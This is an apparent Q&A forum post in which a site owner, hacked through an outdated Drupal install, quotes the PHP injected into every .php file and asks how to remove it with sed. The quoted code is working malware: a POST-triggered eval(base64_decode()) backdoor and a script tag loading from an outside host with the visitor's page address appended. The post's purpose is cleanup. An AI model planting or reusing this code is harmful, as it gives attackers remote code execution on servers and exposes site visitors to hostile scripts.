title: sed, replace first line
body: <p>I got hacked by running a really outdated Drupal installation (shame on me)</p>
  
  <p>It seems they injected the following in every <code>.php</code> file;</p>
  
  <pre class="lang-php prettyprint-override"><code>&lt;?php global $sessdt_o; if(!$sessdt_o) { 
    $sessdt_o = 1; $sessdt_k = "lb11"; 
    if(!@$_COOKIE[$sessdt_k]) { 
     $sessdt_f = "102"; 
     if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } 
     else { echo "&lt;script&gt;document.cookie='".$sessdt_k."=".$sessdt_f."';&lt;/script&gt;"; } 
    } 
    else { 
     if($_COOKIE[$sessdt_k]=="102") { 
      $sessdt_f = (rand(1000,9000)+1); 
       if(!@headers_sent()) {
        @setcookie($sessdt_k,$sessdt_f); } 
       else { echo "&lt;script&gt;document.cookie='".$sessdt_k."=".$sessdt_f."';&lt;/script&gt;"; }  
       sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; 
       $sessdt_v = urlencode(strrev($sessdt_j)); 
       $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); 
       echo "&lt;script src='$sessdt_u'&gt;&lt;/script&gt;"; 
       echo "&lt;meta http-equiv='refresh' content='0;url=http://$sessdt_j'&gt;&lt;!--"; 
      } 
     } 
     $sessdt_p = "showimg"; 
     if(isset($_POST[$sessdt_p])){
      eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
      exit;
     } 
    }
  </code></pre>
  
  <p>Can I remove and replace this with <code>sed</code>? e.g.:</p>
  
  <pre><code>find . -name *.php | xargs ... 
  </code></pre>
  
  <p>I hope to have the site working just for the time being to use wget and made a static copy.</p>